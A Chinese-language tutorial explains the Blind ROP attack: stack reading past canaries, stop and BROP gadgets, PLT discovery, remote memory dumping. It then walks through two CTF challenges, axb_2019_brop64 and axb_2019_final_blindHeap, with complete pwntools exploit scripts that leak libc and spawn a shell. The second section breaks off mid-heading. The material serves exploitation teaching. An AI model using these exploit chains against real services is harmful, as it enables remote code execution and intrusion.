0x04 Blind Return Oriented Programming Attack(BROP)

原理简述

BROP攻击基于一篇发表在Oakland 2014的论文Hacking Blind,作者是来自Standford的Andrea Bittau,以下是相关paper和slide的链接:paperslide

以及BROP的原网站地址:Blind Return Oriented Programming (BROP) Website

BROP攻击的目标和前提条件

目标:通过ROP的方法远程攻击某个应用程序,劫持该应用程序的控制流。我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制如NX, ASLR, PIE, 以及stack canaries等保护,应用程序所在的服务器可以是32位系统或者64位系统。

初看这个目标感觉实现起来特别困难。其实这个攻击有两个前提条件的:

  • 必须先存在一个已知的stack overflow的漏洞,而且攻击者知道如何触发这个漏洞;
  • 服务器进程在crash之后会重新复活,并且复活的进程不会被re-rand(意味着虽然有ASLR的保护,但是复活的进程和之前的进程的地址随机化是一样的)。这个需求其实是合理的,因为当前像nginx, MySQL, Apache, OpenSSH, Samba等服务器应用都是符合这种特性的。

BROP的攻击流程 1 – 远程dump内存

由于我们不知道被攻击程序的内存布局,所以首先要做的事情就是通过某种方法从远程服务器dump出该程序的内存到本地,为了做到这点我们需要调用一个系统调用write,传入一个socket文件描述符,如下所示:

write(int sock, void *buf, int len)

将这条系统调用转换成4条汇编指令,如图所示:

write gadgets

所以从ROP攻击的角度来看,我们只需要找到四个相应的gadget,然后在栈上构造好这4个gadget的内存地址,依次进行顺序调用就可以了。

但是问题是我们现在连内存分布都不知道,该如何在内存中找到这4个gadgets呢?特别是当系统部署了ASLR和stack canaries等保护机制,似乎这件事就更难了。

所以我们先将这个问题放一放,在脑袋里记着这个目标,先来做一些准备工作。

攻破Stack Canaries防护

如果不知道什么是stack canaries可以先看这里,简单来说就是在栈上的return address下面放一个随机生成的数(成为canary),在函数返回时进行检查,如果发现这个canary被修改了(可能是攻击者通过buffer overflow等攻击方法覆盖了),那么就报错。

那么如何攻破这层防护呢?一种方法是brute-force暴力破解,但这个很低效,这里作者提出了一种叫做“stack reading”的方法:

假设这是我们想要overflow的栈的布局:

stack layout

我们可以尝试任意多次来判断出overflow的长度(直到进程由于canary被破坏crash了,在这里即为4096+8=4104个字节),之后我们将这4096个字节填上任意值,然后一个一个字节顺序地进行尝试来还原出真实的canary,比如说,我们将第4097个字节填为x,如果x和原来的canary中的第一个字节是一样的话,那么进程不会crash,否则我们尝试下一个x的可能性,在这里,由于一个字节只有256种可能,所以我们只要最多尝试256次就可以找到canary的某个正确的字节,直到我们得到8个完整的canary字节,该流程如下图所示:

stack reading

我们同样可以用这种方法来得到保存好的frame pointerreturn address

寻找stop gadget

到目前为止,我们已经得到了合适的canary来绕开stack canary的保护, 接下来的目标就是找到之前提到的4个gadgets。

在寻找这些特定的gadgets之前,我们需要先来介绍一种特殊的gadget类型:stop gadget.

一般情况下,如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话,程序有很大可能性会挂掉(比如,该return address指向了一段代码区域,里面会有一些对空指针的访问造成程序crash,从而使得攻击者的连接(connection)被关闭)。但是,存在另外一种情况,即该return address指向了一块代码区域,当程序的执行流跳到那段区域之后,程序并不会crash,而是进入了无限循环,这时程序仅仅是hang在了那里,攻击者能够一直保持连接状态。于是,我们把这种类型的gadget,称为stop gadget,这种gadget对于寻找其他gadgets取到了至关重要的作用。

寻找可利用的(potentially useful)gadgets

假设现在我们找到了某个可以造成程序block住的stop gadget,比如一个无限循环,或者某个blocking的系统调用(sleep),那么我们该如何找到其他 useful gadgets呢?(这里的“useful”是指有某些功能的gadget,而不是会造成crash的gadget)。

到目前为止我们还是只能对栈进行操作,而且只能通过覆盖return address来进行后续的操作。假设现在我们猜到某个useful gadget,比如pop rdi; ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址,如果该地址是一个非法地址,那么进程最后还是会crash,在这个过程中攻击者其实并不知道这个useful gadget被执行过了(因为在攻击者看来最后的效果都是进程crash了),因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它,这个步骤如下图所示:

useful gadget but crash

但是,如果我们有了stop gadget,那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets,如下图所示:

stop gadgets usage

那么任何会造成进程crash的gadget最后还是会造成进程crash,而那些useful gadget则会进入block状态。尽管如此,还是有一种特殊情况,即那个我们需要尝试的gadget也是一个stop gadget,那么如上所述,它也会被我们标识为useful gadget。不过这并没有关系,因为之后我们还是需要检查该useful gadget是否是我们想要的gadget.

最后一步:远程dump内存

到目前为止,似乎准备工作都做好了,我们已经可以绕过canary防护,并且得到很多不会造成进程crash的“potential useful gadget”了,那么接下来就是该如何找到我们之前所提到的那四个gadgets呢?

find write gadgets

如上图所示,为了找到前两个gadgets:pop %rsi; retpop %rdi; ret,我们只需要找到一种所谓的BROP gadget就可以了,这种gadget很常见,它做的事情就是恢复那些callee saved registers. 而对它进行一个偏移就能够生成pop %rdipop %rsi这两个gadgets.

不幸的是pop %rdx; ret这个gadget并不容易找到,它很少出现在代码里, 所以作者提出一种方法,相比于寻找pop %rdx指令,他认为可以利用strcmp这个函数调用,该函数调用会把字符串的长度赋值给%rdx,从而达到相同的效果。另外strcmpwrite调用都可以在程序的Procedure Linking Table (PLT)里面找到.

所以接下来的任务就是:

  • 找到所谓的BROP Gadget
  • 找到对应的PLT项。
寻找BROP Gadget

事实上BROP gadgets特别特殊,因为它需要顺序地从栈上pop 6个值然后执行ret。所以如果我们利用之前提到的stop gadget的方法就可以很容易找到这种特殊的gadget了,我们只需要在stop gadget之前填上6个会造成crash的地址:

find brop gadget

如果任何useful gadget满足这个条件且不会crash的话,那么它基本上就是BROP gadgets了。

寻找PLT项

PLT是一个跳转表,它的位置一般在可执行程序开始的地方,该机制主要被用来给应用程序调用外部函数(比如libc等),具体的细节可以看相关的Wiki。它有一个非常独特的signature:每一个项都是16个字节对齐,其中第0个字节开始的地址指向改项对应函数的fast path,而第6个字节开始的地址指向了该项对应函数的slow path:

plt structure

另外,大部分的PLT项都不会因为传进来的参数的原因crash,因为它们很多都是系统调用,都会对参数进行检查,如果有错误会返回EFAULT而已,并不会造成进程crash。所以攻击者可以通过下面这个方法找到PLT:如果攻击者发现好多条连续的16个字节对齐的地址都不会造成进程crash,而且这些地址加6得到的地址也不会造成进程crash,那么很有可能这就是某个PLT对应的项了。

那么当我们得到某个PLT项,我们该如何判断它是否是strcmp或者write呢?

对于strcmp来说, 作者提出的方法是对其传入不同的参数组合,通过该方法调用返回的结果来进行判断。由于BROP gadget的存在,我们可以很方便地控制前两个参数,strcmp会发生如下的可能性:

arg1 arg2 result
readable 0x0 crash
0x0 readable crash
0x0 0x0 crash
readable readable no-crash

根据这个signature, 我们能够在很大可能性上找到strcmp对应的PLT项。

而对于write调用,虽然它没有这种类似的signature,但是我们可以通过检查所有的PLT项,然后触发其向某个socket写数据来检查write是否被调用了,如果write被调用了,那么我们就可以在本地看到传过来的内容了。

最后一步就是如何确定传给write的socket文件描述符是多少了。这里有两种办法:1. 同时调用好几次write,把它们串起来,然后传入不同的文件描述符数;2. 同时打开多个连接,然后使用一个相对较大的文件描述符数字,增加匹配的可能性。

到这一步为止,攻击者就能够将整个.text段从内存中通过socket写到本地来了,然后就可以对其进行反编译,找到其他更多的gadgets,同时,攻击者还可以dump那些symbol table之类的信息,找到PLT中其它对应的函数项如dup2execve等。

BROP的攻击流程 2 – 实施攻击

到目前为止,最具挑战性的部分已经被解决了,我们已经可以得到被攻击进程的整个内存空间了,接下来就是按部就班了(从论文中翻译):

  • 将socket重定向到标准输入/输出(standard input/output)。攻击者可以使用dup2close,跟上dup或者fcntl(F_DUPFD)。这些一般都能在PLT里面找到。
  • 在内存中找到/bin/sh。其中一个有效的方法是从symbol table里面找到一个可写区域(writable memory region),比如environ,然后通过socket将/bin/sh从攻击者这里读过去。
  • execve shell. 如果execve不在PLT上, 那么攻击者就需要通过更多次的尝试来找到一个pop rax; retsyscall的gadget.

归纳起来,BROP攻击的整个步骤是这样的:

  • 通过一个已知的stack overflow的漏洞,并通过stack reading的方式绕过stack canary的防护,试出某个可用的return address;
  • 寻找stop gadget:一般情况下这会是一个在PLT中的blocking系统调用的地址(sleep等),在这一步中,攻击者也可以找到PLT的合法项;
  • 寻找BROP gadget:这一步之后攻击者就能够控制write系统调用的前两个参数了;
  • 通过signature的方式寻找到PLT上的strcmp项,然后通过控制字符串的长度来给%rdx赋值,这一步之后攻击者就能够控制write系统调用的第三个参数了;
  • 寻找PLT中的write项:这一步之后攻击者就能够将整个内存从远端dump到本地,用于寻找更多的gadgets;
  • 有了以上的信息之后,就可以创建一个shellcode来实施攻击了。

以axb_2019_brop64为例

⚠️:本题目在BUUOJ上已被搭建,但是题目给出了源文件,原题为盲打题目,此处也只利用nc接口解题。

漏洞探测

尝试nc后发送%p%s%x等格式化控制字符,发现没有任何异常回显,考虑使用BROP攻击。

暴力确定padding

def Force_find_padding():
    padding_length=0
    while True:
        try:
            padding_length=padding_length+1
            sh = process("./axb_2019_brop64")
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length)
            if "Goodbye!" not in sh.recvall():
                raise "Programe not exit normally!"
            sh.close()
        except:
            log.success("The true padding length is "+str(padding_length-1))
            return padding_length
    log.error("We don't find true padding length!")

padding_length=null
if padding_length is null:
    padding_length=Force_find_padding()
# [+] The true padding length is 216

寻找stop gadget

此处我们希望我们能够爆破出main函数的首地址,进而直接让程序回到main函数进行执行。首先此处我们可以先泄露原来的返回地址,进而缩小爆破范围。

old_return_addr=null
if old_return_addr is null:
    sh.recvuntil("Please tell me:")
    sh.send('A' * padding_length)
    sh.recvuntil('A' * padding_length)
    old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'\x00'))
    log.info('The old return address is '+ hex(old_return_addr))
# [*] The old return address is 0x400834

那么我们可以写出爆破脚本(爆破范围是0x0000~0xFFFF)

def Find_stop_gadget(old_return_addr,padding_length):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = process("./axb_2019_brop64")
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length + p16(maybe_low_byte))
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
                return (old_return_addr+padding_length)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()
#[+] We found a stop gadget is 0x4007d6

寻找BROP gadget

这里我们试图寻找到__libc_csu_init函数,根据之前提到的程序启动过程(见前置知识),__libc_csu_init函数会被__libc_start_main所调用,也就是说,程序中一定存在__libc_csu_init函数,而根据之前的__libc_csu_init函数的利用(见前置知识),我们可以构造如下payload

payload  = 'A' * padding_length 
payload += p64(libc_csu_init_address) 
payload += p64(0) * 6 
payload += p64(stop_gadget) + p64(0) * 10

如果libc_csu_init_address是pop rbx处,程序将会再次回到stop_gadget。

那么我们可以写出爆破脚本(爆破范围是0x0000~0xFFFF)

def Find_brop_gadget(libc_csu_init_address_maybe,padding_length,stop_gadget):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = process("./axb_2019_brop64")
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(libc_csu_init_address_maybe+maybe_low_byte) 
            payload += p64(0) * 6 
            payload += p64(stop_gadget) + p64(0) * 10
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success(
                    "We found a brop gadget is " + hex(
                        libc_csu_init_address_maybe+maybe_low_byte
                    )
                )
                return (libc_csu_init_address_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()
#[+] We found a brop gadget is 0x40095A

寻找puts@plt

接下来我们尝试找到puts的plt表地址,我们根据上面的泄露结果可以很明显的发现程序并没有开启ASLR保护,那么程序的加载地址必然位于0x400000,那么我们让puts输出0x400000处的内容,若地址正确,则输出结果必然包括‘ELF’。

那么我们可以写出爆破脚本(爆破范围是0x0000~0xFFFF)

def Find_func_plt(func_plt_maybe,padding_length,stop_gadget,brop_gadget):
    maybe_low_byte=0x0600
    while True:
        try:
            sh = process("./axb_2019_brop64")
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(brop_gadget+9) # pop rdi;ret;
            payload += p64(0x400000)
            payload += p64(func_plt_maybe+maybe_low_byte)
            payload += p64(stop_gadget)
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "ELF" in sh.recvall(timeout=1):
                log.success(
                    "We found a function plt address is " + hex(func_plt_maybe+maybe_low_byte)
                )
                return (func_plt_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()
#[+] We found a function plt address is 0x400635

利用puts@plt,Dump源文件

def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
    process_old_had_received_length=0
    process_now_had_received_length=0
    file_content=""
    while True:
        try:
            sh = process("./axb_2019_brop64")
            while True:
                sh.recvuntil("Please tell me:")
                payload  = 'A' * (padding_length - len('Begin_leak----->'))
                payload += 'Begin_leak----->'
                payload += p64(brop_gadget+9) # pop rdi;ret;
                payload += p64(0x400000+process_now_had_received_length)
                payload += p64(func_plt)
                payload += p64(stop_gadget)
                sh.send(payload)
                sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('\x00'))
                received_data = sh.recvuntil('\x0AHello')[:-6]
                if len(received_data) == 0 :
                    file_content += '\x00'
                    process_now_had_received_length += 1
                else :
                    file_content += received_data
                    process_now_had_received_length += len(received_data)
        except:
            if process_now_had_received_length == process_old_had_received_length :
                log.info('We get ' + str(process_old_had_received_length) +' byte file!')
                with open('axb_2019_brop64_dump','wb') as fout:
                    fout.write(file_content)
                return
            process_old_had_received_length = process_now_had_received_length
            sh.close()
            pass
#[*] We get 4096 byte file!

IDA文件修复&分析

注意此处至多泄露0x1000个字节,也就是一个内存页。

我们把泄露的文件使用IDA进行分析。

image-20200105202943893

我们刚刚已经泄露出了main函数的地址,我们对其进行函数的建立。

⚠️:此时我们会发现我们之前认为的puts@plt,其实是错误的,正确的应该是0x400640。这是因为0x400650恰好是plt表头的原因。

image-20200105204308766

泄露puts的got表地址,Leak libc base

payload  = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('\x00'))
puts_addr = u64(sh.recvuntil('\x0AHello')[:-6].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload  = 'A' * padding_length
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recv()
sh.interactive()
sh.close()

EXP

from pwn import *
import binascii
import sys
context.log_level='debug'
context.arch='amd64'

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def get_sh():
    if args['REMOTE']:
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./axb_2019_brop64")

def Force_find_padding():
    padding_length=0
    while True:
        try:
            padding_length=padding_length+1
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length)
            if "Goodbye!" not in sh.recvall():
                raise "Programe not exit normally!"
            sh.close()
        except:
            log.success("The true padding length is "+str(padding_length-1))
            return padding_length
    log.error("We don't find true padding length!")

def Find_stop_gadget(old_return_addr,padding_length):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            sh.send('A' * padding_length + p16(maybe_low_byte))
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
                return (old_return_addr+padding_length)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Find_brop_gadget(libc_csu_init_address_maybe,padding_length,stop_gadget):
    maybe_low_byte=0x0000
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(libc_csu_init_address_maybe+maybe_low_byte) 
            payload += p64(0) * 6 
            payload += p64(stop_gadget) + p64(0) * 10
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "Hello" in sh.recvall(timeout=1):
                log.success(
                    "We found a brop gadget is " + hex(
                        libc_csu_init_address_maybe+maybe_low_byte
                    )
                )
                return (libc_csu_init_address_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Find_func_plt(func_plt_maybe,padding_length,stop_gadget,brop_gadget):
    maybe_low_byte=0x0600
    while True:
        try:
            sh = get_sh()
            sh.recvuntil("Please tell me:")
            payload  = 'A' * padding_length 
            payload += p64(brop_gadget+9) # pop rdi;ret;
            payload += p64(0x400000)
            payload += p64(func_plt_maybe+maybe_low_byte)
            payload += p64(stop_gadget)
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if "ELF" in sh.recvall(timeout=1):
                log.success(
                    "We found a function plt address is " + hex(func_plt_maybe+maybe_low_byte)
                )
                return (func_plt_maybe+maybe_low_byte)
            maybe_low_byte=maybe_low_byte+1
        except:
            pass
            sh.close()

def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
    process_old_had_received_length=0
    process_now_had_received_length=0
    file_content=""
    while True:
        try:
            sh = get_sh()
            while True:
                sh.recvuntil("Please tell me:")
                payload  = 'A' * (padding_length - len('Begin_leak----->'))
                payload += 'Begin_leak----->'
                payload += p64(brop_gadget+9) # pop rdi;ret;
                payload += p64(0x400000+process_now_had_received_length)
                payload += p64(func_plt)
                payload += p64(stop_gadget)
                sh.send(payload)
                sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('\x00'))
                received_data = sh.recvuntil('\x0AHello')[:-6]
                if len(received_data) == 0 :
                    file_content += '\x00'
                    process_now_had_received_length += 1
                else :
                    file_content += received_data
                    process_now_had_received_length += len(received_data)
        except:
            if process_now_had_received_length == process_old_had_received_length :
                log.info('We get ' + str(process_old_had_received_length) +' byte file!')
                with open('axb_2019_brop64_dump','wb') as fout:
                    fout.write(file_content)
                return
            process_old_had_received_length = process_now_had_received_length
            sh.close()
            pass


padding_length=216
if padding_length is null:
    padding_length=Force_find_padding()

old_return_addr=0x400834
if old_return_addr is null:
    sh.recvuntil("Please tell me:")
    sh.send('A' * padding_length)
    sh.recvuntil('A' * padding_length)
    old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'\x00'))
    log.info('The old return address is '+ hex(old_return_addr))

stop_gadget=0x4007D6
if stop_gadget is null:
    stop_gadget=Find_stop_gadget(old_return_addr & 0xFFF000,padding_length)

brop_gadget=0x40095A
if brop_gadget is null:
    brop_gadget=Find_brop_gadget(old_return_addr & 0xFFF000,padding_length,stop_gadget)

func_plt=0x400635
if func_plt is null:
    func_plt=Find_func_plt(old_return_addr & 0xFFF000,padding_length,stop_gadget,brop_gadget)

is_dumped=True
if is_dumped is not True:
    Dump_file(func_plt,padding_length,stop_gadget,brop_gadget)
    is_dumped=True

sh = get_sh()
puts_got_addr=0x601018
puts_plt_addr=0x400640

payload  = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('\x00'))
puts_addr = u64(sh.recvuntil('\x0AHello')[:-6].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload  = 'A' * padding_length
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recv()
sh.interactive()
sh.close()

0x05 Blind_Heap

以axb_2019_final_blindHeap为例

漏洞探测

首先,我们通过输入a b,通过程序的回显,我们可以看出,程序的读入被空格截断了,根据这个特征,我们可以推测出,程序使用了scanf()作为输入函数。

image-20200106115314033

我们判断出程序使用scanf()作为输入函数后,因为scanf()总会在我们输入的字符串的最后加\x00,我们便可以推测程序中是否存在Off-by-one漏洞存在。

泄露堆地址——第一个Chunk的地址

根据一般的堆题目的规律,程序的内存布局可能形如:

<name      + 00> : 0000000000000000 0000000000000000
<name      + 10> : 0000000000000000 0000000000000000
<cart_list + 00> : 0000000000000000 0000000000000000

那么当我们填满name区域后,申请一个Chunk,我们就可以泄露其地址。

sh=get_sh()
sh.recvuntil('Enter your name(1~32):')
sh.send('A' * 24 + 'Leak--->')
Add_shopping_cart(sh,0x40,'Chunk_0',0x40,'Chunk_0')
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Leak--->')
first_chunk_addr=u64(sh.recvuntil('U\'s').strip('U\'s').ljust(8,'\x00'))
log.success('We leak the first chunk address is '+str(hex(first_chunk_addr)))
#[+] We leak the first chunk address is 0x5626f3eeb0b0

Dump内存(任意地址读)

那么我们可以利用这个off-by-null构造一个任意地址读。

此处根据我们的输入我们事实上可以推测程序内的数据结构,结构应该如下:

struct Cart{
    int name_size;
    char*    name;
    int desc_size;
    char*    desc;
} cart;

那么程序中必然有:

  1. cart_list存放着若干个cart结构的地址。
  2. 每个cart结构均由malloc(0x20)产生。
  3. 每个name均由malloc(name_size)产生。
  4. 每个description均由malloc(desc_size)产生。

那么当我们的desc_size大于0x100字节就能保证name和cart结构一定位于0x100个字节以外,这样当cart结构的最低byte被置0时,一定位于description的可控区域。

例,description的起始地址是0x6004????,那么,description的可控区域就是0x6004(?+1)???,并且cart结构一定位于0x6004?(?+1)(??+0x20),当最低byte被置0时,伪cart结构一定位于0x6004?(?+1)00,一定在可控区域,但是我们需要至少可控0x10字节才能控制cart结构中的name结构,那么也就要求我们的description的起始地址的最低byte一定需要大于0x10。因此泄露可能失败,失败率1/16。

我们写出泄露脚本:

def Dump_file():
    had_received_length=0
    file_content=""
    while True:
        try:
            sh = get_sh()
            sh.recvuntil('Enter your name(1~32):')
            sh.send('A' * 0x18 + 'Leak--->')
            Add_shopping_cart(sh,0x150,'Chunk_0',0x8,'Chunk_0')
            sh.recvuntil('Your choice:')
            sh.sendline('3')
            sh.recvuntil('Your choice:')
            sh.sendline('1')
            sh.recvuntil('Leak--->')
            first_chunk_addr=u64(sh.recvuntil('\'s').strip('\'s').ljust(8,'\x00')) - 0x150 - 0x10 - 0x10 - 0x10
            log.success('We leak the first chunk address is '+str(hex(first_chunk_addr)))
            padding = ( 0x100 - (first_chunk_addr & 0xFF) ) - 0x10
            payload = 'A' * padding + p64(0) + p64(0x30) 
            payload += p64(0xC) + p64(0x400000+had_received_length) 
            payload += p64(0xC) + p64(0x400000+had_received_length)
            Display_product(sh,1)
            Modify_product(sh,0,'Chunk_0',payload)
            Change_name(sh,'A' * 0x18 + 'Leak--->')
            Display_product(sh,1)
            sh.recvuntil('commodity\'s name is ')
            received_data = sh.recvuntil('\x0Acommo',timeout=1)[:-6]
            if len(received_data) == 0 :
                file_content += '\x00'
                had_received_length += 1
            else :
                file_content += received_data
                had_received_length += len(received_data)
            log.info('We have get ' + str(had_received_length) +'byte file!')
            sh.close()
        except:
            log.info('We get ' + str(had_received_length) +' byte file!')
            with open('axb_2019_final_blindHeap_dump','wb') as fout:
                fout.write(file_content)
            break
            sh.close()
            pass

Dump_file()

IDA文件修复&分析

虽然仍然有大量的函数分析不出来,甚至我们连main函数的位置都是未知的,但是,我们可以根据函数的固定opcode找到一个可分析的函数。

image-20200106210931591

此时我们愿意相信远端没有开启RELRO保护,如果确实如此,我们只需要篡改got表地址即可,那么我们可以很容易分析出sub_4007C0疑似puts函数,那么我们先假设它为puts函数,然后泄露它的.got表地址。

image-20200106211043883

我们还可以很容易的分析出,sub_4007A0应为free的got表地址。

image-20200106213626717

那么我们接下来将free的got表地址篡改为system,调用即可。

Local EXP(本地成功)

from pwn import *
all_commodity=1
just_one=2
context.log_level='debug'
context.arch='amd64'

# file_name=ELF("./")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Add_shopping_cart(sh,product_descript_size,product_descript,product_name_size,product_name):
    sh.recvuntil('Your choice:')
    sh.sendline('1')
    sh.recvuntil('please tell me the desrcription\'s size.\n')
    sh.sendline(str(product_descript_size))
    sh.recvuntil('please tell me the desrcript of commodity.\n')
    sh.sendline(product_descript)
    sh.recvuntil('please tell me the commodity-name\'s size.\n')
    sh.sendline(str(product_name_size))
    sh.recvuntil('please tell me the commodity-name.\n')
    sh.sendline(product_name)

def Modify_product(sh,index,product_name,product_descript):
    sh.recvuntil('Your choice:')
    sh.sendline('2')
    sh.recvuntil('The index is ')
    sh.sendline(str(index))
    sh.recvuntil('please tell me the new commodity\'s name.\n')
    sh.sendline(product_name)
    sh.recvuntil('please tell me the new commodity\'s desrcription.\n')
    sh.sendline(product_descript)

def Display_product(sh,mode,index=null):
    sh.recvuntil('Your choice:')
    sh.sendline('3')
    sh.recvuntil('Your choice:')
    sh.sendline(str(mode))
    if mode is just_one:
        sh.recvuntil('The index is ')
        sh.sendline(str(index))

def Buy_shopping_cart(sh):
    sh.recvuntil('Your choice:')
    sh.sendline('4')

def Delete_shopping_cart(sh,mode,index=null):
    sh.recvuntil('Your choice:')
    sh.sendline('5')
    sh.recvuntil('Your choice:')
    sh.sendline(str(mode))
    if mode is just_one:
        sh.recvuntil('The index is ')
        sh.sendline(str(index))

def Change_name(sh,new_name):
    sh.recvuntil('Your choice:')
    sh.sendline('6')
    sh.recvuntil('Change your name(1~32):')
    sh.sendline(new_name)

def get_sh():
    if args['REMOTE']:
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./axb_2019_final_blindHeap")

def Dump_file():
    had_received_length=0
    file_content=""
    while True:
        try:
            sh = get_sh()
            sh.recvuntil('Enter your name(1~32):')
            sh.send('A' * 0x18 + 'Leak--->')
            Add_shopping_cart(sh,0x150,'Chunk_0',0x8,'Chunk_0')
            sh.recvuntil('Your choice:')
            sh.sendline('3')
            sh.recvuntil('Your choice:')
            sh.sendline('1')
            sh.recvuntil('Leak--->')
            first_chunk_addr=u64(sh.recvuntil('\'s').strip('\'s').ljust(8,'\x00')) - 0x150 - 0x10 - 0x10 - 0x10
            log.success('We leak the first chunk address is '+str(hex(first_chunk_addr)))
            padding = ( 0x100 - (first_chunk_addr & 0xFF) ) - 0x10
            payload = 'A' * padding + p64(0) + p64(0x30) 
            payload += p64(0xC) + p64(0x400000+had_received_length) 
            payload += p64(0xC) + p64(0x400000+had_received_length)
            Display_product(sh,1)
            Modify_product(sh,0,'Chunk_0',payload)
            Change_name(sh,'A' * 0x18 + 'Leak--->')
            Display_product(sh,1)
            sh.recvuntil('commodity\'s name is ')
            received_data = sh.recvuntil('\x0Acommo',timeout=1)[:-6]
            if len(received_data) == 0 :
                file_content += '\x00'
                had_received_length += 1
            else :
                file_content += received_data
                had_received_length += len(received_data)
            log.info('We have get ' + str(had_received_length) +'byte file!')
            sh.close()
        except:
            log.info('We get ' + str(had_received_length) +' byte file!')
            with open('axb_2019_final_blindHeap_dump','wb') as fout:
                fout.write(file_content)
            break
            sh.close()
            pass

# Dump_file()
sh = get_sh()
sh.recvuntil('Enter your name(1~32):')
sh.send('A' * 0x18 + 'Leak--->')
Add_shopping_cart(sh,0x150,'Chunk_0',0x8,'Chunk_0')
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Leak--->')
first_chunk_addr=u64(sh.recvuntil('\'s').strip('\'s').ljust(8,'\x00')) - 0x150 - 0x10 - 0x10 - 0x10
log.success('We leak the first chunk address is '+str(hex(first_chunk_addr)))
padding = ( 0x100 - (first_chunk_addr & 0xFF) ) - 0x10
payload = 'A' * padding + p64(0) + p64(0x30) 
payload += p64(0xC) + p64(0x603028) 
payload += p64(0xC) + p64(0x603018)
Display_product(sh,1)
Modify_product(sh,0,'Chunk_0',payload)
Change_name(sh,'A' * 0x18 + 'Leak--->')
Display_product(sh,1)
sh.recvuntil('commodity\'s name is ')
puts_addr = u64(sh.recvuntil('\x0Acommo')[:-6].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
log.success('We get libc base address is ' + str(hex(libc_base)))
log.success('We get system address is ' + str(hex(system_addr)))
Add_shopping_cart(sh,0x8,'/bin/sh\x00',0x8,'/bin/sh\x00')
Modify_product(sh,0,p64(puts_addr),p64(system_addr))
gdb.attach(sh)
Delete_shopping_cart(sh,just_one,1)
sh.interactive()
sh.close()

⚠️:经测试,远端开启了PIE+ASLR,导致本思路不再可用,我们使用另外的思路进行攻击。

⚠️:经测试,远端文件和本地测试文件不同,当我们调用display函数时不再泄露函数地址。

泄露main_arena,Leak libc base

